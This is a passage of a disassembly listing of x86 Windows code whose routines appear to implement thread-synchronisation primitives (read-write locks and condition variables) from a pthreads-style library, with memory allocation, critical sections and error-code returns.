push ebx call sub_40131B mov ecx, 21h mov esi, ebx lea edi, [esp+9Ch+var_84] push ebx rep movsd call sub_401BD1 mov eax, [esp+0A0h+var_4C] mov esi, dword_5118E0 add esp, 10h test eax, eax pop edi jz short loc_432A78 push eax call esi loc_432A78: ; CODE XREF: sub_432A20+53j lea eax, [esp+8Ch+var_58] push eax call sub_402252 mov eax, [esp+90h+var_80] add esp, 4 test eax, eax jz short loc_432A9A test [esp+8Ch+var_8], 1 jnz short loc_432A9A push eax call esi loc_432A9A: ; CODE XREF: sub_432A20+11j ; sub_432A20+6Bj ... pop esi pop ebx add esp, 84h retn sub_432A20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432AE0 proc near ; CODE XREF: sub_401DDEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi push edi push 14h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_432B01 pop edi pop esi pop ebp mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_432B01: ; CODE XREF: sub_432AE0+15j mov edi, [esp+10h+arg_8] mov ebp, [esp+10h+arg_4] mov dword ptr [esi], 0FFFFFFFFh mov [esi+4], ebp lea ebx, [edi+8] mov [esi+8], edi push ebx call sub_402248 add esp, 4 mov [esp+10h+arg_4], eax test eax, eax jz short loc_432B42 push esi call sub_402252 push esi nop call near ptr 77C2C21Bh mov eax, [esp+18h+arg_4] add esp, 8 pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_432B42: ; CODE XREF: sub_432AE0+47j mov eax, [edi+0Ch] push ebx mov [esi+10h], eax mov [edi+0Ch], esi call sub_4010C3 add esp, 4 test ebp, ebp jz short loc_432B67 mov ecx, [ebp+80h] mov [esi+0Ch], ecx mov [ebp+80h], esi loc_432B67: ; CODE XREF: sub_432AE0+76j mov edx, [esp+10h+arg_0] pop edi xor eax, eax mov [edx], esi pop esi pop ebp pop ebx retn sub_432AE0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432BB0 proc near ; CODE XREF: sub_40105Fj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_432BD7 mov eax, [esi+8] test eax, eax jnz short loc_432BD7 mov eax, [esi+4] test eax, eax jnz short loc_432BD7 push esi call sub_402252 push esi call near ptr 77C2C21Bh nop add esp, 8 loc_432BD7: ; CODE XREF: sub_432BB0+7j ; sub_432BB0+Ej ... pop esi retn sub_432BB0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432BF0 proc near ; CODE XREF: sub_40131Bj arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] test ebx, ebx push esi jz short loc_432C5D mov esi, [ebx+80h] test esi, esi jz short loc_432C5D push edi loc_432C05: ; CODE XREF: sub_432BF0+6Aj push esi call sub_402248 add esp, 4 test eax, eax jnz short loc_432C58 mov edi, [esi+8] test edi, edi jz short loc_432C33 push edi call sub_401190 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_432C33 mov edi, [edi+4] test edi, edi jz short loc_432C33 push eax loc_432C2E: ; CODE XREF: ___:00432CA7j call edi ; free add esp, 4 loc_432C33: ; CODE XREF: sub_432BF0+27j ; sub_432BF0+34j ... mov eax, [esi+0Ch] mov dword ptr [esi+4], 0 push esi mov [ebx+80h], eax call sub_4010C3 push esi call sub_40105F mov esi, [ebx+80h] add esp, 8 loc_432C58: ; CODE XREF: sub_432BF0+20j test esi, esi jnz short loc_432C05 pop edi loc_432C5D: ; CODE XREF: sub_432BF0+8j ; sub_432BF0+12j pop esi pop ebx retn sub_432BF0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_432C80 proc near ; CODE XREF: sub_401DEDj mov eax, dword_5103B4 push ebx push edi push eax call sub_401190 sub_432C80 endp ; --------------------------------------------------------------------------- db 8Bh, 5Ch, 24h ; --------------------------------------------------------------------------- adc [ebx-47CFB3Ch], al add cl, [ebx-7CF28B08h] sti add [eax+ecx+6Ah], esi add [eax-7F8E2918h], edx ja short loc_432C2E push dword ptr [esi+eax-0Ah] inc edi jl short near ptr loc_432CB0+1 loc_432CB0: ; CODE XREF: ___:00432CAEj jz short loc_432CD5 push esi mov eax, ebx xor esi, esi dec eax jz short loc_432CC2 dec eax jnz short loc_432CC5 or esi, 0FFFFFFFFh jmp short loc_432CC5 ; --------------------------------------------------------------------------- loc_432CC2: ; CODE XREF: ___:00432CB8j mov esi, [edi+14h] loc_432CC5: ; CODE XREF: ___:00432CBBj ; ___:00432CC0j call sub_4017CB push esi call near ptr 77C3A307h nop add esp, 4 pop esi loc_432CD5: ; CODE XREF: ___:loc_432CB0j push 1 call sub_401B22 ; --------------------------------------------------------------------------- dd 8304C483h, 57533CC7h, 408AE890h, 90907780h, 90909090h dd 8 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_432D10 proc near ; CODE XREF: sub_401B22j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_401122 sub_432D10 endp ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_432D2F loc_432D22: ; CODE XREF: ___:00432D2Dj push esi call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jnz short loc_432D22 loc_432D2F: ; CODE XREF: ___:00432D20j pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432D50: ; CODE XREF: ___:00401DF7j xor eax, eax retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432D70 proc near ; CODE XREF: sub_4012D0j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push edx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] lock cmpxchg [ecx], edx mov [ebp+var_4], eax pop edx pop ecx mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 0Ch sub_432D70 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432DB0 proc near ; CODE XREF: sub_401C3Aj var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 lea eax, [esp+8+var_4] lea ecx, [esp+8+var_8] push esi push eax push ecx xor esi, esi nop call near ptr 27A01BFh push eax call near ptr 2760000h nop test eax, eax jz short loc_432DF2 mov edx, [esp+0Ch+var_8] xor ecx, ecx mov eax, 1 loc_432DDC: ; CODE XREF: sub_432DB0+33j test eax, edx jz short loc_432DE1 inc ecx loc_432DE1: ; CODE XREF: sub_432DB0+2Ej shl eax, 1 jnz short loc_432DDC mov edx, [esp+0Ch+arg_0] mov eax, esi pop esi mov [edx], ecx add esp, 8 retn ; --------------------------------------------------------------------------- loc_432DF2: ; CODE XREF: sub_432DB0+1Fj mov eax, 0Bh pop esi add esp, 8 retn sub_432DB0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432E20 proc near ; CODE XREF: sub_40185Cj arg_0 = dword ptr 4 push esi push offset dword_510960 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_432E54 push esi push ecx call sub_401F91 add esp, 8 mov esi, eax push offset dword_510960 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_432E54: ; CODE XREF: sub_432E20+17j test eax, eax jnz short loc_432E5D mov esi, 16h loc_432E5D: ; CODE XREF: sub_432E20+36j push offset dword_510960 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_432E20 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432E90 proc near ; CODE XREF: sub_401861j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+14h] lea ecx, [esi+4] neg eax push ecx mov [esi+0Ch], eax mov dword ptr [esi+14h], 0 call sub_4010C3 push esi call sub_4010C3 add esp, 8 pop esi retn sub_432E90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432ED0 proc near ; CODE XREF: sub_401F91j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi xor esi, esi test eax, eax jnz short loc_432EE2 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_432EE2: ; CODE XREF: sub_432ED0+9j mov eax, [esp+4+arg_4] push ebx test eax, eax push edi jz short loc_432F02 cmp dword ptr [eax], 0 jz short loc_432F02 mov ecx, [esp+0Ch+arg_0] mov edi, 16h mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_432F02: ; CODE XREF: sub_432ED0+1Aj ; sub_432ED0+1Fj push 1Ch push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_432F26 mov ecx, [esp+0Ch+arg_0] mov edi, 0Ch mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_432F26: ; CODE XREF: sub_432ED0+43j push 0 push esi mov dword ptr [esi+0Ch], 0 mov dword ptr [esi+10h], 0 mov dword ptr [esi+14h], 0 call sub_4021BC mov edi, eax add esp, 8 test edi, edi jnz short loc_432F84 lea ebx, [esi+4] push eax push ebx call sub_4021BC mov edi, eax add esp, 8 test edi, edi jnz short loc_432F7B push eax lea eax, [esi+8] push eax call sub_40154B mov edi, eax add esp, 8 test edi, edi jz short loc_432F9C push ebx call sub_402252 add esp, 4 loc_432F7B: ; CODE XREF: sub_432ED0+8Dj push esi call sub_402252 add esp, 4 loc_432F84: ; CODE XREF: sub_432ED0+7Aj push esi call near ptr 77C2C21Bh nop mov ecx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_432F9C: ; CODE XREF: sub_432ED0+A0j mov ecx, [esp+0Ch+arg_0] xor edi, edi mov eax, edi mov dword ptr [esi+18h], 0FACADE2h pop edi mov [ecx], esi pop ebx pop esi retn sub_432ED0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_433000: ; CODE XREF: ___:004018BBj mov eax, [esp+4] push ebx push ebp push esi push edi xor ebx, ebx xor edi, edi xor ebp, ebp test eax, eax jz loc_43313B mov esi, [eax] test esi, esi jz loc_43313B cmp esi, 0FFFFFFFFh jz loc_4330F7 cmp dword ptr [esi+18h], 0FACADE2h jnz loc_43313B push esi call sub_402248 add esp, 4 test eax, eax jnz loc_433140 lea edi, [esi+4] push edi call sub_402248 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_433069 push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_433069: ; CODE XREF: ___:00433057j mov eax, [esi+10h] test eax, eax jg short loc_4330DD mov eax, [esi+0Ch] mov ecx, [esi+14h] cmp eax, ecx jg short loc_4330DD push edi mov dword ptr [esi+18h], 0 call sub_4010C3 add esp, 4 mov ebx, eax test ebx, ebx push esi jz short loc_4330A0 call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_4330A0: ; CODE XREF: ___:0043308Fj call sub_4010C3 add esp, 4 test eax, eax jnz loc_433140 mov ecx, [esp+14h] lea edx, [esi+8] push edx mov [ecx], eax call sub_401AA5 push edi mov ebx, eax call sub_402252 push esi mov edi, eax call sub_402252 push esi mov ebp, eax call near ptr 77C2C21Bh nop add esp, 10h jmp short loc_433123 ; --------------------------------------------------------------------------- loc_4330DD: ; CODE XREF: ___:0043306Ej ; ___:00433078j push edi call sub_4010C3 push esi mov ebx, eax call sub_4010C3 add esp, 8 mov edi, eax mov ebp, 10h jmp short loc_433123 ; --------------------------------------------------------------------------- loc_4330F7: ; CODE XREF: ___:00433023j push offset dword_510960 call near ptr 7C901005h nop mov eax, [esp+14h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_433113 mov dword ptr [eax], 0 jmp short loc_433118 ; --------------------------------------------------------------------------- loc_433113: ; CODE XREF: ___:00433109j mov ebx, 10h loc_433118: ; CODE XREF: ___:00433111j push offset dword_510960 nop call near ptr 7C9010EDh loc_433123: ; CODE XREF: ___:004330DBj ; ___:004330F5j test ebx, ebx jz short loc_43312E pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_43312E: ; CODE XREF: ___:00433125j test edi, edi mov eax, edi jnz short loc_433140 pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_43313B: ; CODE XREF: ___:00433010j ; ___:0043301Aj ... mov eax, 16h loc_433140: ; CODE XREF: ___:00433041j ; ___:004330AAj ... pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_4331B0: ; CODE XREF: ___:00401EA6j push esi push 4 push 1 xor esi, esi call near ptr 77C2C0C3h nop add esp, 8 test eax, eax jnz short loc_4331D3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_4331D3: ; CODE XREF: ___:004331C2j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433200: ; CODE XREF: ___:0040179Ej mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_433221 mov eax, [ecx] test eax, eax jz short loc_433221 push eax mov [ecx], esi call near ptr 77C2C21Bh nop add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_433221: ; CODE XREF: ___:00433209j ; ___:0043320Fj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433240: ; CODE XREF: ___:00401136j mov eax, [esp+4] test eax, eax jz short loc_43325D mov eax, [eax] test eax, eax jz short loc_43325D mov ecx, [esp+8] test ecx, ecx jz short loc_43325D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_43325D: ; CODE XREF: ___:00433246j ; ___:0043324Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433280: ; CODE XREF: ___:004015A5j mov eax, [esp+4] test eax, eax jz short loc_4332AA mov ecx, [eax] test ecx, ecx jz short loc_4332AA mov eax, [esp+8] cmp eax, 1 jz short loc_43329E test eax, eax jnz short loc_4332AA mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_43329E: ; CODE XREF: ___:00433295j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_4332AA: ; CODE XREF: ___:00433286j ; ___:0043328Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4332C0: ; CODE XREF: ___:00402095j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43337A mov eax, [esi] test eax, eax jz loc_43337A cmp eax, 0FFFFFFFFh jnz short loc_4332F4 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_4332F4 cmp eax, 10h jnz loc_43337F loc_4332F4: ; CODE XREF: ___:004332DCj ; ___:004332E9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_43337A push esi call sub_402248 add esp, 4 test eax, eax jnz short loc_43337F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_43336D lea edi, [esi+4] push edi call sub_402248 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_43333D push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43333D: ; CODE XREF: ___:0043332Cj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_43336D push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43336D: ; CODE XREF: ___:0043331Aj ; ___:0043335Cj push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43337A: ; CODE XREF: ___:004332C9j ; ___:004332D3j ... mov eax, 16h loc_43337F: ; CODE XREF: ___:004332EEj ; ___:0043330Aj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_4333D0: ; CODE XREF: ___:004016A4j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43349F mov eax, [esi] test eax, eax jz loc_43349F cmp eax, 0FFFFFFFFh jnz short loc_433404 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_433404 cmp eax, 10h jnz loc_4334A4 loc_433404: ; CODE XREF: ___:004333ECj ; ___:004333F9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_43349F mov ebx, [esp+14h] push ebx push esi call sub_401BD6 add esp, 8 test eax, eax jnz short loc_4334A4 mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_433492 lea edi, [esi+4] push ebx push edi call sub_401BD6 mov ebx, eax add esp, 8 test ebx, ebx jz short loc_433462 cmp ebx, 274Ch jnz short loc_433453 inc dword ptr [esi+14h] loc_433453: ; CODE XREF: ___:0043344Ej push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433462: ; CODE XREF: ___:00433446j mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_433492 push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433492: ; CODE XREF: ___:00433433j ; ___:00433481j push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43349F: ; CODE XREF: ___:004333D9j ; ___:004333E3j ... mov eax, 16h loc_4334A4: ; CODE XREF: ___:004333FEj ; ___:00433423j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_4334F0: ; CODE XREF: ___:004015D2j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_4335E6 mov eax, [esi] test eax, eax jz loc_4335E6 cmp eax, 0FFFFFFFFh jnz short loc_433527 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_433527 cmp eax, 10h jnz loc_4335EB loc_433527: ; CODE XREF: ___:0043350Fj ; ___:0043351Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_4335E6 push esi call sub_402248 add esp, 4 test eax, eax jnz loc_4335EB lea ebp, [esi+4] push ebp call sub_402248 mov edi, eax add esp, 4 test edi, edi jz short loc_43356B push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_43356B: ; CODE XREF: ___:00433557j mov eax, [esi+10h] test eax, eax jnz short loc_4335DA mov eax, [esi+14h] test eax, eax jle short loc_433588 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_433588: ; CODE XREF: ___:00433577j mov eax, [esi+0Ch] test eax, eax jle short loc_4335DA neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401861 push eax call sub_401663 ; --------------------------------------------------------------------------- add esp, 0Ch lea ebx, [esi+8] loc_4335AB: ; CODE XREF: ___:004335C0j push ebp push ebx call sub_401203 mov edi, eax add esp, 8 test edi, edi jnz short loc_4335C2 mov eax, [esi+14h] test eax, eax jl short loc_4335AB loc_4335C2: ; CODE XREF: ___:004335B9j xor ecx, ecx test edi, edi setnz cl push ecx call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test edi, edi pop ebx jnz short loc_4335DD mov [esi+0Ch], edi loc_4335DA: ; CODE XREF: ___:00433570j ; ___:0043358Dj inc dword ptr [esi+10h] loc_4335DD: ; CODE XREF: ___:004335D5j mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4335E6: ; CODE XREF: ___:004334FCj ; ___:00433506j ... mov eax, 16h loc_4335EB: ; CODE XREF: ___:00433521j ; ___:00433541j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_433650: ; CODE XREF: ___:00401960j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_433751 mov eax, [esi] test eax, eax jz loc_433751 cmp eax, 0FFFFFFFFh jnz short loc_433687 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_433687 cmp eax, 10h jnz loc_433756 loc_433687: ; CODE XREF: ___:0043366Fj ; ___:0043367Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_433751 mov edi, [esp+20h] push edi push esi call sub_401BD6 add esp, 8 test eax, eax jnz loc_433756 lea ebp, [esi+4] push edi push ebp call sub_401BD6 mov edi, eax add esp, 8 test edi, edi jz short loc_4336D1 push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4336D1: ; CODE XREF: ___:004336BDj mov eax, [esi+10h] test eax, eax jnz short loc_433745 mov eax, [esi+14h] test eax, eax jle short loc_4336EE mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_4336EE: ; CODE XREF: ___:004336DDj mov eax, [esi+0Ch] test eax, eax jle short loc_433745 neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401861 push eax call sub_401663 ; --------------------------------------------------------------------------- add esp, 0Ch lea ebx, [esi+8] loc_433711: ; CODE XREF: ___:0043372Bj mov ecx, [esp+24h] push ecx push ebp push ebx call sub_4011E0 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_43372D mov eax, [esi+14h] test eax, eax jl short loc_433711 loc_43372D: ; CODE XREF: ___:00433724j xor edx, edx test edi, edi setnz dl push edx call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test edi, edi pop ebx jnz short loc_433748 mov [esi+0Ch], edi loc_433745: ; CODE XREF: ___:004336D6j ; ___:004336F3j inc dword ptr [esi+10h] loc_433748: ; CODE XREF: ___:00433740j mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_433751: ; CODE XREF: ___:0043365Cj ; ___:00433666j ... mov eax, 16h loc_433756: ; CODE XREF: ___:00433681j ; ___:004336A6j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4337B0: ; CODE XREF: ___:004015C8j mov eax, [esp+4] push ebx push esi push edi test eax, eax jz short loc_433836 mov esi, [eax] test esi, esi jz short loc_433836 cmp esi, 0FFFFFFFFh jnz short loc_4337CC pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_4337CC: ; CODE XREF: ___:004337C4j cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_433836 mov eax, [esi+10h] test eax, eax jnz short loc_433814 lea ebx, [esi+4] push ebx call sub_402248 mov edi, eax add esp, 4 test edi, edi jz short loc_4337F2 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4337F2: ; CODE XREF: ___:004337ECj mov eax, [esi+14h] inc eax mov [esi+14h], eax jnz short loc_433809 add esi, 8 push esi call sub_401E6F add esp, 4 mov edi, eax loc_433809: ; CODE XREF: ___:004337F9j push ebx call sub_4010C3 add esp, 4 jmp short loc_43382C ; --------------------------------------------------------------------------- loc_433814: ; CODE XREF: ___:004337DAj dec eax mov [esi+10h], eax lea eax, [esi+4] push eax call sub_4010C3 push esi mov edi, eax call sub_4010C3 add esp, 8 loc_43382C: ; CODE XREF: ___:00433812j test edi, edi jz short loc_43383B mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433836: ; CODE XREF: ___:004337B9j ; ___:004337BFj ... mov eax, 16h loc_43383B: ; CODE XREF: ___:0043382Ej pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_433870: ; CODE XREF: ___:0040153Cj push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43392A mov eax, [esi] test eax, eax jz loc_43392A cmp eax, 0FFFFFFFFh jnz short loc_4338A4 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_4338A4 cmp eax, 10h jnz loc_43392F loc_4338A4: ; CODE XREF: ___:0043388Cj ; ___:00433899j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_43392A push esi call sub_401785 add esp, 4 test eax, eax jnz short loc_43392F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_43391D lea edi, [esi+4] push edi call sub_402248 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_4338ED push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4338ED: ; CODE XREF: ___:004338DCj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_43391D push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43391D: ; CODE XREF: ___:004338CAj ; ___:0043390Cj push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43392A: ; CODE XREF: ___:00433879j ; ___:00433883j ... mov eax, 16h loc_43392F: ; CODE XREF: ___:0043389Ej ; ___:004338BAj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_433980: ; CODE XREF: ___:00401FF0j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_433A61 mov eax, [esi] test eax, eax jz loc_433A61 cmp eax, 0FFFFFFFFh jnz short loc_4339B4 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_4339B4 cmp eax, 10h jnz loc_433A66 loc_4339B4: ; CODE XREF: ___:0043399Cj ; ___:004339A9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_433A61 push esi call sub_401785 add esp, 4 test eax, eax jnz loc_433A66 lea ebx, [esi+4] push ebx call sub_401785 mov edi, eax add esp, 4 test edi, edi jz short loc_4339F9 push esi call sub_4010C3 add esp, 4 test eax, eax jnz short loc_433A66 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4339F9: ; CODE XREF: ___:004339E4j mov eax, [esi+10h] test eax, eax jnz short loc_433A49 mov eax, [esi+14h] test eax, eax jle short loc_433A16 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_433A16: ; CODE XREF: ___:00433A05j mov eax, [esi+0Ch] test eax, eax jle short loc_433A54 push ebx call sub_4010C3 add esp, 4 mov edi, eax test edi, edi push esi jz short loc_433A3B call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433A3B: ; CODE XREF: ___:00433A2Bj call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jnz short loc_433A4E loc_433A49: ; CODE XREF: ___:004339FEj mov edi, 10h loc_433A4E: ; CODE XREF: ___:00433A47j mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433A54: ; CODE XREF: ___:00433A1Bj mov eax, edi mov dword ptr [esi+10h], 1 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433A61: ; CODE XREF: ___:00433989j ; ___:00433993j ... mov eax, 16h loc_433A66: ; CODE XREF: ___:004339AEj ; ___:004339CEj ... pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_433AB0: ; CODE XREF: ___:00401C0Dj mov eax, [esp+4] push eax call sub_4012B7 add esp, 4 test eax, eax jz short loc_433AC7 mov eax, 16h retn ; --------------------------------------------------------------------------- 